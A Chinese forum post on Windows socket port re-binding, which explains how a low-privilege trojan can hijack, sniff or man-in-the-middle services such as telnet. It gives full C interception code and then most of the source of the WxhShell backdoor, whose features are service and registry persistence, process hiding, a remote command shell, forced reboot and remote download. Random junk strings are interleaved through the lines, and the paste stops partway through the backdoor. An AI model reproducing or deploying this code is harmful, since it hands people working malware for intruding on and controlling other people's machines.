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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7kiZFHV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +Cs[]~  
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  saddr.sin_family = AF_INET; #kGgz O  
U`)\|\NY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C:r@)Mhq  
WG~|sLg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hY*ylzr83  
P:lmQHls+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &Tc:WD  
MH wjJ  
  这意味着什么?意味着可以进行如下的攻击: 6_UCRo5h%  
@*Y"[\"$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7(8i~}  
fEv`iXZG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 31VDlcn E  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J\06j%d,  
ShP&ss  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gKPqWh  
uUhqj.::<Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6[.#B!;9  
 f$7Xh~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $ ,:3I*}be  
 w^Mj[v#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2SjH7 '  
z (1zth  
  #include dM-qd`  
  #include 9+irf^D`O  
  #include E O.Se9ux  
  #include    f`;y "ba  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m8jQ~OS  
  int main() ]VKM3[   
  { i`nmA-Zj[  
  WORD wVersionRequested; a*hWODYn  
  DWORD ret; V yOuw9  
  WSADATA wsaData; j ."L=  
  BOOL val; {th=MldJ?  
  SOCKADDR_IN saddr; pA%}CmrMq  
  SOCKADDR_IN scaddr; Ru&>8Ln0  
  int err; @p$Nw.{'  
  SOCKET s; 61aU~w11a  
  SOCKET sc; l1M %   
  int caddsize; AfAlDM'  
  HANDLE mt; g)3HVAT  
  DWORD tid;   Vx Vpl@  
  wVersionRequested = MAKEWORD( 2, 2 ); k^H&IS!  
  err = WSAStartup( wVersionRequested, &wsaData ); thU9s%,  
  if ( err != 0 ) { |>Ld'\i8  
  printf("error!WSAStartup failed!\n"); Mzg zOM  
  return -1; c 5%uiv]  
  } 4ZUTF3  
  saddr.sin_family = AF_INET; 2\4ammwT  
   =%)Y, )"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =~DQX\  
5n0B`A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x>]14 bLz  
  saddr.sin_port = htons(23); icrcP ~$A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3 P=I)q  
  { H1t`fyri2  
  printf("error!socket failed!\n"); )X2 /_3  
  return -1; jW8,}Xs  
  } ,J$XVvwxF  
  val = TRUE; **G5fS.^W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `iQ])C^d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B,5kG{2!  
  { a23XrX  
  printf("error!setsockopt failed!\n"); *HONA>u   
  return -1; UR|Au'iu  
  } '+s?\X4VC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hEh` cBO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %&5PZmnW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FUO9jX  
{i^F4A@=Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tH)fu%:p  
  { <G_71J`MLC  
  ret=GetLastError(); zk;'`@7  
  printf("error!bind failed!\n"); 5Ic'6AIz  
  return -1; @* <`*W  
  } 'PqKb%B|  
  listen(s,2); ~Fe$/*v  
  while(1) <-h[I&."  
  { {y%|Io`P  
  caddsize = sizeof(scaddr); '>^!a!<G  
  //接受连接请求 !jTxMf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h}U>K4BJ  
  if(sc!=INVALID_SOCKET) Wt M1nnJp  
  { B'v~0Kau  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 ,f3^A  
  if(mt==NULL) xxQgX~'x  
  { 1xD?cA\vu  
  printf("Thread Creat Failed!\n"); K%g_e*"$  
  break; | 9 <+!t\  
  } 1KadT7<0}  
  } @$|8zPs  
  CloseHandle(mt); tch;_7?  
  } #z5$_z?_  
  closesocket(s); 4M )oA|1w  
  WSACleanup(); $vLGX>H  
  return 0; 98rO]rg  
  }   RI3GAd  
  DWORD WINAPI ClientThread(LPVOID lpParam) Gspb\HJ^  
  { pt%*Y.)az  
  SOCKET ss = (SOCKET)lpParam; !"LFeqI$lr  
  SOCKET sc; 0O!A8FA0  
  unsigned char buf[4096]; |4j'KM;U  
  SOCKADDR_IN saddr; |Kq<}R  
  long num; aT~=<rEDy  
  DWORD val; iOB*K)U1  
  DWORD ret; $Xr4=9(|7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;r BbLM`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FmhT^  
  saddr.sin_family = AF_INET; 4g)$(5jI}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !DkIM}.  
  saddr.sin_port = htons(23); F|&%Z(@a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4d8}g25C  
  { +&4@HHU{G  
  printf("error!socket failed!\n"); &U_T1-UR2  
  return -1; mM2DZ^"j(  
  } EEP&Y?  
  val = 100; Od+nBJ   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "uP~hFA7M  
  { 5p>rQq0  
  ret = GetLastError(); c{3P|O&.  
  return -1; 7po;*?Ox  
  } ) S-Fuq4i4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :0kKw=p1R  
  { 2Mu3] 2>  
  ret = GetLastError(); {^Rr:+  
  return -1; %x8vvcO^t  
  } |,T"_R_K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AHzm9U @  
  { zgl$ n  
  printf("error!socket connect failed!\n"); $wcTUl  
  closesocket(sc); ;o?o92d  
  closesocket(ss); ui80}%  
  return -1; JYnyo$m/  
  } wA o6:)  
  while(1) qGi\*sc>x  
  { d~KTUgH'<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GA"vJFQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0v|qP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $+ORq3  
  num = recv(ss,buf,4096,0); w>4( hGO  
  if(num>0) ^ f[^.k$3d  
  send(sc,buf,num,0); /jSb ^1\  
  else if(num==0) ~m4 LL[  
  break; n] 8*yoge  
  num = recv(sc,buf,4096,0); _^D-nk?  
  if(num>0) rX22%~1  
  send(ss,buf,num,0); [W99}bi$  
  else if(num==0) g,B@*2Uj  
  break; } x Kv N  
  } @QDUz>_y  
  closesocket(ss); SC--jhDZ  
  closesocket(sc);  USJ4Z  
  return 0 ; 8l<~zIoO  
  } ;?Q0mXr  
v 8TNBsEL  
v}=pxWhm  
========================================================== k>=wwPy  
>:OP+Vc  
下边附上一个代码,,WXhSHELL zVis"g`  
P]7s1kgaS  
========================================================== ZU`HaL$  
AD >/#Ul  
#include "stdafx.h" 9hgIQl  
s>=$E~qq  
#include <stdio.h> f[q_eY  
#include <string.h> (`<B#D;  
#include <windows.h> nv3TxG  
#include <winsock2.h> ?4t~z 1.f  
#include <winsvc.h> Ch]q:o4  
#include <urlmon.h> <bJ~Ol  
F.D6O[pZ  
#pragma comment (lib, "Ws2_32.lib") }OSfC~5P  
#pragma comment (lib, "urlmon.lib") ppu<k N  
[OFT!=.y &  
#define MAX_USER   100 // 最大客户端连接数 t&-c?&FO\;  
#define BUF_SOCK   200 // sock buffer g` ,(O  
#define KEY_BUFF   255 // 输入 buffer D=)qd@,K  
.UU)   
#define REBOOT     0   // 重启 '.e 5Ku  
#define SHUTDOWN   1   // 关机 +A%zFF3  
#2+hu^Q-  
#define DEF_PORT   5000 // 监听端口 3*R(&O6}  
7'5/T]Z  
#define REG_LEN     16   // 注册表键长度 d;a"rq@a)  
#define SVC_LEN     80   // NT服务名长度 &VxK AQMxN  
2|`~3B)#  
// 从dll定义API KF7d`bRe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :(I=z6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NJKk\RM@7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y*8;T v|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eTt{wn;6  
1(kd3 qX  
// wxhshell配置信息 ?[ D6|gp  
struct WSCFG { R=W$3Ue~,  
  int ws_port;         // 监听端口 7N0m7SC  
  char ws_passstr[REG_LEN]; // 口令 #Z]<E6<=9  
  int ws_autoins;       // 安装标记, 1=yes 0=no vIFx'S~D  
  char ws_regname[REG_LEN]; // 注册表键名 (JiEV3GH  
  char ws_svcname[REG_LEN]; // 服务名 Koz0Xy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ktv{-WG2_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AI .2os*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Lz2zlZI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pe+m%;nzR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mHc2v==X\-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d%Ku 'Jy  
:$QwOz^N*  
}; CF5%&B  
N]|U-fN\  
// default Wxhshell configuration $-)y59w"  
struct WSCFG wscfg={DEF_PORT, qt%/0  
    "xuhuanlingzhe", [{J1b  
    1, &jDRRT3  
    "Wxhshell", T{T> S%17~  
    "Wxhshell", 1'5 !")r  
            "WxhShell Service", * =O@D2g0  
    "Wrsky Windows CmdShell Service", gKb5W094@  
    "Please Input Your Password: ", *oIKddZh  
  1, OmP(&t7  
  "http://www.wrsky.com/wxhshell.exe", B^hK  
  "Wxhshell.exe" 7p18;Z+6>X  
    }; *kDV ^RBfq  
Q1 vse  
// 消息定义模块 6:\z8fYD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [92bGR{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FRTvo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #p=Wt&2  
char *msg_ws_ext="\n\rExit."; F#{ PJ#  
char *msg_ws_end="\n\rQuit."; gwYTOs ^  
char *msg_ws_boot="\n\rReboot..."; g: "Hg-s  
char *msg_ws_poff="\n\rShutdown..."; wD[qE  
char *msg_ws_down="\n\rSave to "; hpticW|  
>2)!w  
char *msg_ws_err="\n\rErr!"; z yI4E\  
char *msg_ws_ok="\n\rOK!"; &l~=c2  
=`%%*  
char ExeFile[MAX_PATH]; {XYf"ONi  
int nUser = 0; $Vm J[EF1  
HANDLE handles[MAX_USER]; 3K_!:[  
int OsIsNt; J~G"D-l<9/  
+z\O"zlj  
SERVICE_STATUS       serviceStatus; .]Z,O>N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {c$%3iQq  
B Zw#ACU  
// 函数声明 _d<\@Tkw  
int Install(void); #60<$HO:Z  
int Uninstall(void); 4>@-1nt}  
int DownloadFile(char *sURL, SOCKET wsh); KL*UU,qU  
int Boot(int flag); k?=V?JWY  
void HideProc(void); Iyvl6  
int GetOsVer(void); j8p'B-yS  
int Wxhshell(SOCKET wsl); ?r~](l   
void TalkWithClient(void *cs); ]9pcDZB  
int CmdShell(SOCKET sock); k4nA+k<WI`  
int StartFromService(void); #kGxX@0  
int StartWxhshell(LPSTR lpCmdLine); 8%9OB5?F6  
%K]nX#.B&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0b}lwo,|\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +<I1@C  
uO-R:MC  
// 数据结构和表定义 /h%MWCZWm^  
SERVICE_TABLE_ENTRY DispatchTable[] = oDas~0<oh  
{ 8%#uZG\}  
{wscfg.ws_svcname, NTServiceMain}, BF6H_g  
{NULL, NULL} ihhnB  
}; E0S[TEDa]  
sw &sF  
// 自我安装 l@YpgyqaL  
int Install(void) #$%gs]  
{ 9/|i. 2&  
  char svExeFile[MAX_PATH]; #Ryu`b  
  HKEY key; k07) g:_  
  strcpy(svExeFile,ExeFile); VbX$i!>8  
`o*g2fW!  
// 如果是win9x系统,修改注册表设为自启动 mwTn}h3N  
if(!OsIsNt) { >Y< y]vM:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2jx+q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z95V 7E  
  RegCloseKey(key); Bf88f<Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y]\R0lR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i&FC-{|Z  
  RegCloseKey(key); QX~*aqS3s8  
  return 0; Ic&t_B*i}]  
    } _>:g&pS/  
  } tdr*>WL  
} M !OI :v  
else { vR~*r6hX8  
49Ue2=PP#  
// 如果是NT以上系统,安装为系统服务 @kwD$%*0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7"JU)@ U]  
if (schSCManager!=0) U>x2'B v  
{ .]H]H*wC  
  SC_HANDLE schService = CreateService hOMFDfhU  
  ( o-Idr{  
  schSCManager, |/lIasI  
  wscfg.ws_svcname, 90aPIs-  
  wscfg.ws_svcdisp, 2i(|?XJ^  
  SERVICE_ALL_ACCESS, qc'tK6=jp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v981nJ>w,  
  SERVICE_AUTO_START, 7RD` *s  
  SERVICE_ERROR_NORMAL, Q84KU8?d  
  svExeFile, /9w}[y*E  
  NULL, |H_)u  
  NULL, Pe wPl0  
  NULL, X7c*T /  
  NULL, p go\(K0  
  NULL 8rp-Xi W  
  ); = xX^  
  if (schService!=0) BK d(  
  { \ bT]?.si  
  CloseServiceHandle(schService); n"K7@[d  
  CloseServiceHandle(schSCManager); Z ''P5B;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YJ16vb9  
  strcat(svExeFile,wscfg.ws_svcname); ^]R0d3?>\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Eq<#pX6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 56_KB.Ww~  
  RegCloseKey(key); Yg]f2ke  
  return 0; G[>-@9_b  
    } 2aje$w-  
  } i)(Q Npv  
  CloseServiceHandle(schSCManager); Ju9v n44  
} ^:)&KV8D|  
} wbS++cF<  
610k#$  
return 1; ^&rb I,D  
} z:G9Uu3H(  
E0DEFB  
// 自我卸载 _gGy(`  
int Uninstall(void) Rt:PW}rFf  
{ GKd>AP_  
  HKEY key; 6~/H#8Kdn  
P*T)/A%4  
if(!OsIsNt) { )eV40l$ M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w9PY^U.Y3e  
  RegDeleteValue(key,wscfg.ws_regname); ::`j@ ]  
  RegCloseKey(key); GQZUC\cB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J;kbY9e  
  RegDeleteValue(key,wscfg.ws_regname); jw[`_  
  RegCloseKey(key); O46/[{p+8  
  return 0; Elq8WtS  
  } 4QVd{  
} Cp* n2  
} H= y-Y_R  
else { 0Yjy  
&4[iC/}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1<p"z,c  
if (schSCManager!=0) :gVjBF2  
{ UK<"|2^sT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XN0Y#l  
  if (schService!=0) o<'gM]$  
  { ]/'] {*T1  
  if(DeleteService(schService)!=0) { D_)vGvv3;.  
  CloseServiceHandle(schService); T:&+#0<  
  CloseServiceHandle(schSCManager); N.`]D)57  
  return 0; @&W?e?O ~G  
  } ~GeYB6F  
  CloseServiceHandle(schService); ,'673PR  
  } FS}z_G|4]  
  CloseServiceHandle(schSCManager); J?<L8;$s7  
} j&pgq2Kl  
} .2P?1HpK  
6J*`<k/ S  
return 1; !T{g& f  
} @6!JW(,]\  
S_CtE M  
// 从指定url下载文件 vSA%A47G  
int DownloadFile(char *sURL, SOCKET wsh) 8#Z5-",iw  
{ HKkf+)%)x  
  HRESULT hr; VfwD{+ 5  
char seps[]= "/"; V"ZbKV +[  
char *token; Uk2q,2  
char *file; $OD5t5eTsM  
char myURL[MAX_PATH]; ezvaAhd{  
char myFILE[MAX_PATH]; |Q;o538  
GXRjR\Ch  
strcpy(myURL,sURL); \d+HYLAJn  
  token=strtok(myURL,seps); bH{aI:9Fb  
  while(token!=NULL) c" 7pf T  
  { gsp 7N  
    file=token; OQQ9R?Ll{  
  token=strtok(NULL,seps); k#(cZ  
  } dL` +^E>  
]EnaZWyO]  
GetCurrentDirectory(MAX_PATH,myFILE); zFr}$  
strcat(myFILE, "\\"); 9%qMZP0]  
strcat(myFILE, file); Mg$9'a"[\  
  send(wsh,myFILE,strlen(myFILE),0); 's?Fip  
send(wsh,"...",3,0); .[fz x`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %}!}2s.A  
  if(hr==S_OK) n4 @a`lN5g  
return 0; sJ/e=1*  
else }j1Zk4}[x  
return 1; 03o3[g?  
0?xiGSZV  
} Y(zN  
7]j-zv  
// 系统电源模块 )''wu\7A)'  
int Boot(int flag) b2e  a0  
{ =.hDf<U  
  HANDLE hToken; 1}E@lOc  
  TOKEN_PRIVILEGES tkp; A*~1Uz\t  
cvA\C_  
  if(OsIsNt) { WN#lfn8 7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h.;CL#s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I uj=d~|>  
    tkp.PrivilegeCount = 1; 77d`N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B7MW" y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] <3?=$  
if(flag==REBOOT) { 1qe^rz|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %UQB?dkf$  
  return 0; 'kvFU_)  
} N-9gfG  
else { nln6:^w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S "Pj 1  
  return 0; 5]l7Z35  
} PAU+C_P  
  } @a\SR'8  
  else { vCSB8R  
if(flag==REBOOT) { c/Yi0Rl)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WnzPPh3PJ  
  return 0; _ D9@<+MS*  
} f<:U"E.  
else { KBR0p&MN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s@LNQ|'kO  
  return 0; }@%ahRGx%9  
} BQ&q<6Tk  
} [=6~"!P}  
y32++b!  
return 1; MW~B[%/  
} m8j-lNu  
H#6^-6;/  
// win9x进程隐藏模块 .Pes{uHg  
void HideProc(void) oz6+rM6MY  
{ 8]":[s6x  
UX`DZb +^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #6s C&w3  
  if ( hKernel != NULL ) *P R_Y=v%  
  { .l=*R7~EU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z/= %J3f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LDEW00zL  
    FreeLibrary(hKernel); *X l<aNNx  
  } }FiN 7#  
,i?!3oLT  
return; hdtnC29$  
} \41)0,sEy  
1DLG]-j}  
// 获取操作系统版本 K6{bYho  
int GetOsVer(void) 4ylDD|) rO  
{  AY'?Xt  
  OSVERSIONINFO winfo; ,&&M|,NQ&s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ob0 8xGj  
  GetVersionEx(&winfo); V<2fPDZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $l,Zd6<1q  
  return 1; CQzjCRS d  
  else Wt9iL  
  return 0; (:-Jl"&R@  
} #C1A5JE&  
,r 2VP\hLh  
// 客户端句柄模块 V.Ba''E7  
int Wxhshell(SOCKET wsl) ]vQ?]d?>a  
{ $7n#\h  
  SOCKET wsh; iSr`fQw#  
  struct sockaddr_in client; Ivt} o_b*  
  DWORD myID; L> Oy7w)Y  
dH2]ZE0V  
  while(nUser<MAX_USER) gO:Z6}3vM  
{ 'uf2 nUo  
  int nSize=sizeof(client); [j}7@Mr`\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xR|eyeR  
  if(wsh==INVALID_SOCKET) return 1; . z$Sm  
>=~Fo)V!(V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hK39_A-  
if(handles[nUser]==0) xw+<p  
  closesocket(wsh); Km9}^*Mo%  
else |3, yq^2  
  nUser++; 5+bFy.UW  
  } 60,-\h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <Hh5u~  
`[@^m5?b-  
  return 0; 2rO)qjiH  
} M*O(+EM  
IQw %|^  
// 关闭 socket 974eY  
void CloseIt(SOCKET wsh) PPCTc|G  
{ Q&upxE4-~  
closesocket(wsh); <DXmZ1  
nUser--; D#d8^U  
ExitThread(0); tCbr<Ug  
} 0ck&kpL:9  
eMN+qkvH  
// 客户端请求句柄 Wg` +u  
void TalkWithClient(void *cs) +2EHmuJ;  
{ y)p$_.YFF  
EItxRHV5  
  SOCKET wsh=(SOCKET)cs; 4ypRyO  
  char pwd[SVC_LEN]; Kunle~Ro  
  char cmd[KEY_BUFF]; &$m=^  
char chr[1]; J&63Z  
int i,j; }2Cd1RnS  
CO:*x,6au  
  while (nUser < MAX_USER) { L{2b0Zh'  
U6juS/  
if(wscfg.ws_passstr) { }O.LPQ0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VR4E 2^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : 'd76pM-  
  //ZeroMemory(pwd,KEY_BUFF); emv;m/&8  
      i=0; (|<h^] y3  
  while(i<SVC_LEN) { Bw 3F7W~l  
p;qRm} 0}  
  // 设置超时 gH i~nEH  
  fd_set FdRead; m3xz=9Ve  
  struct timeval TimeOut; N b3I%r  
  FD_ZERO(&FdRead); ~># LOT `  
  FD_SET(wsh,&FdRead); Ql~#((K  
  TimeOut.tv_sec=8; _\,rX\  
  TimeOut.tv_usec=0; Y_[g_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 068WlF cWV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y _'eyR@)  
C~ZE95g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3VcT7y*{P  
  pwd=chr[0]; $R%+*  
  if(chr[0]==0xd || chr[0]==0xa) { U_ x0KIm  
  pwd=0; J16=!q()  
  break; 1Q&cVxA"\  
  } rDIhpT)a  
  i++; K08 iPIkQ  
    } Cq?',QU6j  
_YH<YOrMh  
  // 如果是非法用户,关闭 socket #0P!xZ'|{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;JOD!|  
} "H5&3sF2  
a3O nW\N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fDU+3b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cP*c(k~N  
Lzh9DYU6  
while(1) { <Zig Co w  
M[h 1>}$Lz  
  ZeroMemory(cmd,KEY_BUFF); v[R_S  
s8t f@H4r  
      // 自动支持客户端 telnet标准   5 R,la\!bQ  
  j=0; h`?y2?O  
  while(j<KEY_BUFF) { Hs[}l_gYn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o-SRSu  
  cmd[j]=chr[0]; C!!mOAhJ  
  if(chr[0]==0xa || chr[0]==0xd) { H9%l?r5  
  cmd[j]=0; *I:mw8t  
  break; iY0,WT}&n  
  } J#6LSD@ (O  
  j++; n&_YYEHx  
    } @<vF]\Ce  
_/|8%])  
  // 下载文件 i[^k.W3gf  
  if(strstr(cmd,"http://")) { 1KW3l<v-6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HR[Q ?rg  
  if(DownloadFile(cmd,wsh)) 'Z\{D*=V8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!T|07#c  
  else TkA9tFi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \4OK!6LkI  
  } {V[Ha~b%*  
  else { 1 h<fJzh  
'To<T  
    switch(cmd[0]) { S\B5&W  
  S&n[4*  
  // 帮助 d2ohW|  
  case '?': { &c20x+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  "\`>2  
    break; "VV914*z  
  } DXKyRkn6e  
  // 安装 Ip>^O/}$1  
  case 'i': { 9U]pH%.9  
    if(Install()) NeY"6!;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;)gLjF/F7  
    else 5+`=t07^et  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }W1^t  
    break; ]a)IMIh;  
    } = Q@6c   
  // 卸载 PM@XtL7J  
  case 'r': { j\! e9M  
    if(Uninstall()) f](I.lm:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%Vr+)!4  
    else ?hKm&B;d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%>/og\%  
    break; _~ v-:w  
    } !2(.$}E  
  // 显示 wxhshell 所在路径 Cq gJ  
  case 'p': { yP x\ltG3  
    char svExeFile[MAX_PATH]; ]+AAT=B<!  
    strcpy(svExeFile,"\n\r"); Y]~IY?I  
      strcat(svExeFile,ExeFile); Bk+{}  
        send(wsh,svExeFile,strlen(svExeFile),0); P2>:p%Z  
    break; SAP;9*f1\  
    } 8AryIgy>@  
  // 重启 D^n xtuT*  
  case 'b': { >Z}@7$(7!~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ja?s@Y}-9s  
    if(Boot(REBOOT)) VW{,:Ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }bp.OV-+  
    else { 3a%xn4P  
    closesocket(wsh); 5|CzX X#U  
    ExitThread(0); U>oW~Z  
    } Im6U_JsNZh  
    break; `\wUkmH  
    } B n{)|&;  
  // 关机 $iwIF7,\P  
  case 'd': { L+73aN  
